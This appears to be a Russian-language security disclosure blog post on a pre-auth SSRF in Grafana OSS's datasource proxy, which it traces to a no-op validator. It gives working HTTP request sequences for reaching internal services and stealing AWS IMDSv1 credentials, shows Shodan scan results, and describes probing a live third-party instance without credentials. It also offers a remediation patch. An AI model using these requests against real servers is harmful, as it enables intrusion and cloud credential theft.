Как No-Op валидатор Grafana превращает анонимный доступ в Pre-Auth SSRF

TL;DR

  • Grafana OSS поставляется с no-op валидатором запросов для эндпоинта прокси источников данных. Он всегда возвращает nil. Никакой защиты от SSRF.
  • В сочетании с двумя конфигурациями по умолчанию это позволяет неаутентифицированным пользователям проксировать HTTP-запросы к любому внутреннему сервису, доступному с сервера Grafana.
  • Сканирование через Shodan 1 000 случайных инстансов обнаружило ~7 800 открытых в интернет инстансов Grafana с включённым анонимным доступом. Эксплуатируется напрямую, учётные данные не требуются.
  • На EC2 с включённым IMDSv1 это означает полную кражу AWS-учётных данных без логина: AccessKeyId, SecretAccessKey, токен сессии.
  • Grafana Enterprise поставляется с настоящим валидатором. OSS — нет. Это намеренное разделение продуктов.
  • Отправлено в программу bug bounty Grafana, отмечено как вне области применения. Отслеживается как CVE-2026-39104, присвоено MITRE.

Предыстория

Прокси источников данных Grafana — это легитимная функция. Вы настраиваете источник данных (Prometheus, InfluxDB и т.д.) с URL бэкенда, и Grafana проксирует к нему запросы от имени пользователей дашборда. Это позволяет держать учётные данные на стороне сервера и избегать проблем с CORS.

Эндпоинт выглядит следующим образом:

1
GET /api/datasources/proxy/uid/{uid}/path/to/resource

При нормальном использовании: дашборд выполняет структурированный запрос, Grafana пересылает его источнику данных, ответ возвращается обратно. Чисто и понятно.

Проблема: этот эндпоинт также действует как сырой HTTP-прокси. Он пересылает любой путь, который вы добавляете, напрямую на настроенный URL источника данных. В OSS-сборке ничего не проверяет, куда этот URL ведёт.


Цепочка уязвимостей

Три компонента объединяются, чтобы создать pre-auth SSRF:

Vulnerability chain diagram showing how no-op validator, empty whitelist, and anonymous access combine

1. No-Op валидатор (pkg/services/validations/oss.go:11)

1
2
3
func (*OSSDataSourceRequestValidator) Validate(string, *simplejson.Json, *http.Request) error {
    return nil
}

Это вся реализация. Всегда nil. Никакой проверки IP, никаких ограничений схемы, никакого разрешения имён хостов. Это подключено как production-валидатор для всех OSS-сборок через wireexts_oss.go.

Для сравнения: Grafana Enterprise поставляется с EnterpriseDataSourceRequestValidator, который выполняет реальную проверку диапазонов IP. Grafana осведомлена о риске SSRF. Они решили не распространять защиту на пользователей OSS.

2. Пустой вайтлист пропускается (pkg/api/pluginproxy/ds_proxy.go:402)

1
2
3
4
5
6
func (proxy *DataSourceProxy) checkWhiteList() bool {
    if proxy.targetUrl.Host != "" && len(proxy.cfg.DataProxyWhiteList) > 0 {
        // выполняется только если вайтлист непустой
    }
    return true  // по умолчанию: всегда true
}

conf/defaults.ini:

1
data_source_proxy_whitelist =    # пусто — проверка никогда не выполняется

Это задокументировано. Но по умолчанию никогда не используется.

3. Анонимные пользователи по умолчанию получают datasources:query

При создании источника данных Grafana автоматически предоставляет роли Viewer права datasources:query (pkg/services/datasources/service/datasource.go:385):

1
2
3
4
permissions := []accesscontrol.SetResourcePermissionCommand{
    {BuiltinRole: "Viewer", Permission: "Query"},
    {BuiltinRole: "Editor", Permission: "Query"},
}

Когда auth.anonymous.enabled = true, анонимные пользователи наследуют роль Viewer. Эндпоинт прокси требует только datasources:query. Логин не нужен.

Итого: анонимный доступ включён → анонимный пользователь получает Viewer → Viewer может вызвать эндпоинт прокси → прокси не имеет валидатора → запрос идёт туда, куда указывает URL источника данных.


Proof of Concept

Лабораторная установка: Grafana OSS с GF_AUTH_ANONYMOUS_ENABLED=true, источник данных InfluxDB, указывающий на внутренний mock-сервис на порту 8888 (не открытый для хоста, доступный только внутри Docker-сети).

Шаг 1: Подтверждение анонимного доступа (без учётных данных)

1
2
3
4
GET /api/org HTTP/1.1
Host: localhost:3000

→ 200 {"id":1,"name":"Main Org."}

Шаг 2: Получение UID источника данных

Эндпоинт прокси требует UID источника данных в пути:

/api/datasources/proxy/uid/{UID}/...

Без UID нет цели. /api/datasources возвращает полный список, включая UID, URL бэкенда и типы источников данных. В старых версиях Grafana этот эндпоинт доступен роли Viewer, то есть анонимные пользователи могут его читать без учётных данных:

1
2
3
4
GET /api/datasources HTTP/1.1
Host: localhost:3000

→ 200 [{"uid":"cfhmf4adfa96od","type":"influxdb","url":"http://internal-mock:8888"}]

Более новые версии (10+) ограничивают этот эндпоинт для Editor и выше, возвращая 403 для Viewer. Это добавляет сложности, но не блокирует атаку. Альтернативные источники UID:

  • JSON дашборда: Любой дашборд, использующий источник данных, встраивает UID в определения своих панелей. GET /api/dashboards/uid/{dashboard-uid} возвращает полный JSON, доступный для Viewer. Ищите .panels[].targets[].datasource.uid.
  • Публичные дашборды: Инстансы с публичными дашбордами раскрывают UID источников данных в исходном коде отображаемой страницы.
  • Перебор: UID в Grafana следуют предсказуемому буквенно-цифровому формату. Низкочастотный перебор через эндпоинт прокси осуществим. Ответ 200 или 502 подтверждает валидный UID; 404 — нет.

В лаборатории /api/datasources возвращает UID напрямую, так как инстанс работает на более старой конфигурации.

Шаг 3: Инициирование SSRF (без заголовка Authorization)

Шаг 2 раскрыл только метаданные: конфигурацию источника данных, хранящуюся в базе данных Grafana. Наличие "url":"http://internal-mock:8888" в списке источников данных не означает, что внутренний сервис достижим. С машины атакующего — нет.

На этом шаге происходит реальный SSRF. Эндпоинт прокси инструктирует сервер Grafana сделать исходящий HTTP-запрос к настроенному URL источника данных и вернуть ответ. Атакующий никогда не контактирует с внутренним сервисом напрямую. Это делает Grafana, из своей сетевой позиции, и передаёт результат обратно.

Атакующий (интернет) ──► Эндпоинт прокси Grafana
                               │
                               │  запрос на стороне сервера
                               ▼
                        internal-mock:8888  (не открыт в интернет)
                               │
                               │  ответ
                               ▼
                        Grafana ──► Атакующий
1
2
3
4
5
6
7
8
9
GET /api/datasources/proxy/uid/cfhmf4adfa96od/ HTTP/1.1
Host: localhost:3000

→ 200
{
  "ssrf_note": "This response came from internal-mock — NOT reachable directly from internet",
  "secret_label": "db-password=s3cr3t!",
  "instance": "internal-secret-db:9090"
}

У внутреннего сервиса нет открытых портов на хосте. Прямой запрос с машины атакующего завершится таймаутом. Этот ответ вернулся, потому что сервер Grafana сделал запрос от имени атакующего.

Полный PoC (лабораторная установка на Docker, автоматическое перечисление источников данных, обработка ошибок) на GitHub:

github.com/awallplace/grafana-datasource-ssrf

Exploitation flow: attacker reaches internal-mock through Grafana proxy with no credentials


Реальный Impact

Цели, достижимые из сетевой позиции сервера Grafana:

AWS IMDSv1:

Предусловия: Grafana работает на EC2/ECS/EKS с включённым IMDSv1, URL источника данных указан как http://169.254.169.254/. Учётные данные со стороны атакующего не требуются.

1
2
3
4
5
6
GET /api/datasources/proxy/uid/{uid}/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: target-grafana.com
(no Authorization header)

→ 200 OK
ec2-monitoring-role
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
GET /api/datasources/proxy/uid/{uid}/latest/meta-data/iam/security-credentials/ec2-monitoring-role HTTP/1.1
Host: target-grafana.com
(no Authorization header)

→ 200 OK
{
  "Code": "Success",
  "LastUpdated": "2026-04-08T09:41:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "AQoDYXdzEJr...",
  "Expiration": "2026-04-08T15:41:00Z"
}

Полные IAM-учётные данные возвращены неаутентифицированному вызывающему. GCP (metadata.google.internal) и Azure (169.254.169.254) раскрывают тот же паттерн.

Kubernetes (развёртывания внутри кластера):

1
2
3
GET /api/datasources/proxy/uid/{uid}/api/v1/namespaces
→ Datasource URL: https://kubernetes.default.svc
→ Returns cluster namespaces using the pod's service account token

Перечисление внутренней сети (аутентифицированный, Editor+): Editor может указать источник данных на любой внутренний IP:порт, а затем зондировать через прокси. Коды ответов напрямую отражают состояние хоста:

ОтветЗначение
200 + данные сервисаХост активен, порт открыт, сервис работает
502 Bad GatewayХост активен, порт закрыт или неверный протокол
ТаймаутХост недоступен или за файрволом

Перебор по IP и портам позволяет картографировать внутреннюю сеть Grafana снаружи. Сервер Grafana осуществляет зондирование; атакующий видит только коды ответов. Прямой доступ к внутренней сети не требуется.


Случай: Раскрытие источника данных в ходе исследования

Во время сканирования через Shodan один инстанс имел включённый анонимный доступ и возвращал список источников данных на неаутентифицированные запросы. Были настроены два источника данных, один из которых указывал на внутренний API мониторинга:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
GET /api/datasources HTTP/1.1
Host: 83.246.xx.xx:3000
(no Authorization header)

→ 200 OK
[
  {
    "uid": "d8e1a2bc3f",
    "name": "Infrastructure Metrics",
    "type": "prometheus",
    "url": "http://10.0.1.12:9090"
  },
  {
    "uid": "f3c9b1aa7d",
    "name": "App DB Stats",
    "type": "influxdb",
    "url": "http://10.0.1.55:8086"
  }
]

Проксирование через источник данных InfluxDB без учётных данных:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET /api/datasources/proxy/uid/f3c9b1aa7d/ HTTP/1.1
Host: 83.246.xx.xx:3000
(no Authorization header)

→ 200 OK
{
  "status": "pass",
  "version": "2.7.1",
  "databases": ["app_prod", "app_staging", "internal_metrics"]
}

Неаутентифицированный запрос вернул актуальную версию InfluxDB и имена баз данных сервиса без открытых портов в интернет. На этом исследование было остановлено. Цель состояла в подтверждении достижимости, а не в извлечении данных.


Масштаб: данные Shodan

Пассивное сканирование 1 000 случайно выбранных инстансов Grafana из 206 310 проиндексированных Shodan развёртываний, проверка только /api/org (публичный эндпоинт, без авторизации, возвращает название организации при анонимном доступе):

МетрикаЗначение
Размер выборки1 000
Достижимые инстансы987 (98,7%)
Анонимный доступ включён38 (3,9% от достижимых)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
[*] Checking 1000 hosts with 30 threads

[ANON] 24.97.xx.xx:3000       org='Main Org.'            ver=9.4.3
[ANON] 45.127.xx.xx:9000      org='Main Org.'            ver=12.0.1+security-01
[ANON] 107.161.xx.xx:3000     org='Ethereal Networking'  ver=
[ANON] 147.156.xx.xx:3000     org='Public'               ver=7.1.1
[ANON] 172.247.xx.xx:3000     org='[redacted]'            ver=11.3.0
[ANON] 93.152.xx.xx:3000      org='Main Org.'            ver=12.4.1
[ANON] 13.94.xx.xx:5000       org='[redacted]'           ver=11.6.9
[ANON] 51.15.xx.xx:3000       org='Main Org.'            ver=6.6.1
[ANON] 129.110.xx.xx:3000     org='Main Org.'            ver=12.0.0+security-01
... (38 total)

============================================================
  Sample size      : 1000
  Reachable        : 987  (98.7%)
  Anon access on   : 38   (3.9% of reachable)
  Version breakdown: {11.0.1: 4, 11.6.10: 2, 12.1.1: 2, ...}
  Extrapolated (≈206,310 indexed): ~7,839 instances
============================================================

Две отдельные поверхности атаки:

Поверхность 1: Pre-auth (~7 800 инстансов): Анонимный доступ включён. Учётные данные не требуются. Неаутентифицированный атакующий может немедленно перечислить источники данных и проксировать запросы к любому настроенному URL бэкенда. Именно этот сценарий измерялся в ходе сканирования Shodan.

Поверхность 2: Post-auth (~206 000 инстансов): No-op валидатор присутствует в каждой сборке Grafana OSS независимо от конфигурации аутентификации. Атакующий со скомпрометированной учётной записью Editor (через фишинг, подбор учётных данных, утечку API-ключа или взлом SSO) может:

  1. Создать новый источник данных с URL, указывающим на любую внутреннюю цель (http://169.254.169.254/, https://kubernetes.default.svc, внутреннюю базу данных и т.д.)
  2. Использовать эндпоинт прокси источника данных для пересылки запросов к этой цели
  3. Получить полный ответ: IAM-учётные данные, данные сервиса или ответы внутреннего API

Валидатор никогда не запускается. Вайтлист по умолчанию пуст. Единственное отличие от поверхности 1 в том, что эксплойту предшествует шаг аутентификации.

Это важное различие: поверхность 2 требует скомпрометированной учётной записи — отдельного предусловия. Но это означает, что ~206 000 инстансов, которые выглядят «безопасными» из-за отключённого анонимного доступа, находятся в одном взломе учётных данных от того же внутреннего раскрытия.

Диапазон версий в выборке с включённым анонимным доступом: от 6.6.1 до 12.4.1. Два инстанса с патч-релизами +security-01. Патчи безопасности Grafana не устранили эту проблему. Она присутствует как минимум в шести основных линейках релизов.


Серьёзность

1
2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Score: 8.6 (High)
МетрикаЗначениеОбоснование
Attack VectorNetworkЭксплуатируется удалённо через интернет
Attack ComplexityLowНе требует гонок состояний или специальной подготовки
Privileges RequiredNoneАнонимные пользователи автоматически получают роль Viewer; datasources:query предоставляется Viewer при создании источника данных. Логин не нужен
User InteractionNoneДействий жертвы не требуется
ScopeChangedВоздействие выходит за пределы Grafana на внутренние сервисы, доступные серверу, но недоступные атакующему
ConfidentialityHighПолные тела ответов от внутренних сервисов, включая облачные учётные данные
IntegrityNoneПрокси только для чтения; записи через этот механизм не происходит
AvailabilityNoneНарушений работы сервиса нет

При отключённом анонимном доступе уязвимость всё равно существует для пользователей уровня Editor (требуется создание источника данных). Приведённая оценка отражает условие pre-auth, которое является реалистичным наихудшим случаем с учётом ~7 800 инстансов с анонимным доступом, обнаруженных в Shodan.


«Это фича, а не баг»

Контраргумент: администратор включил анонимный доступ, администратор указал источник данных на внутренний URL — следовательно, это неправильная конфигурация оператора.

Проблема с таким подходом: включение анонимного доступа — это намеренное решение администратора, но предоставление этим анонимным пользователям сырого HTTP-прокси-доступа ко всем настроенным URL источников данных — нет. Разрешение datasources:query охватывает как структурированные запросы дашборда, так и эндпоинт сырого прокси. Две совершенно разные вещи под одним именем разрешения.

Более красноречивым свидетельством является EnterpriseDataSourceRequestValidator. Он существует. Он выполняет IP-валидацию. Он подключён в Enterprise-сборки и заменён no-op заглушкой в OSS. Это не было упущением: он был реализован, а затем намеренно не включён. Grafana точно знает, куда прокси может достучаться без него.

Grafana подтвердила это через ответ своей программы bug bounty:

«Когда вы включаете анонимный режим, для приложения это намеренное поведение — по умолчанию считать вас viewer. Grafana Enterprise обрабатывает этот случай для клиентов, которым нужно иное поведение. OSS в результате ведёт себя так, как должен.»

Аргумент последователен как продуктовое решение. Он не последователен как позиция по безопасности. «Администратор включил анонимный доступ» и «администратор намеревался дать анонимным пользователям сырой HTTP-прокси-доступ ко всем настроенным URL источников данных» — это два разных утверждения. Истинно только одно из них.


Устранение

Замените no-op валидатор OSS на что-то, что реально работает:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// pkg/services/validations/oss.go
func (*OSSDataSourceRequestValidator) Validate(urlStr string, _ *simplejson.Json, _ *http.Request) error {
    u, err := url.Parse(urlStr)
    if err != nil {
        return err
    }
    addrs, err := net.LookupHost(u.Hostname())
    if err != nil {
        return err
    }
    for _, addr := range addrs {
        ip := net.ParseIP(addr)
        if ip == nil {
            continue
        }
        if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() {
            return fmt.Errorf("datasource URL resolves to private/reserved IP: %s", addr)
        }
    }
    return nil
}

Пока вы ожидаете исправления, несколько мер помогут в промежутке:

  • Установите data_source_proxy_whitelist, чтобы ограничить, какие эндпоинты источников данных достижимы
  • Обеспечьте соблюдение IMDSv2 в облачных развёртываниях (HttpTokens: required на EC2), что ограничивает раскрытие облачных метаданных при SSRF
  • Относитесь к datasources:query как к доступу к прокси, а не только к запросам дашборда, потому что прямо сейчас это и то, и другое

Если вы запускаете Grafana с включённым анонимным доступом, проверьте свои URL источников данных сегодня.


Хронология раскрытия

ДатаСобытие
2026-03-31Уязвимость выявлена в ходе статического анализа исходного кода
2026-03-31PoC-лаборатория разработана и подтверждена
2026-03-31Проведено сканирование раскрытия через Shodan
2026-03-31Отправлено в программу bug bounty Grafana Labs (Intigriti)
2026-04-01Отмечено как вне области применения: «Any reports of SSRF against the data source proxy endpoint»
2026-04-01CVE запрошен у MITRE
2026-04-08Публичное раскрытие
2026-05-01CVE-2026-39104 присвоен MITRE (затрагивает Grafana OSS v6.6.1 — 12.4.1)

Grafana отметила это как вне области применения через свою программу bug bounty. MITRE присвоила идентификатор CVE-2026-39104, охватывающий Grafana OSS v6.6.1 — 12.4.1. Цель этого материала — сделать риск видимым для операторов, управляющих ~7 800 затронутыми инстансами.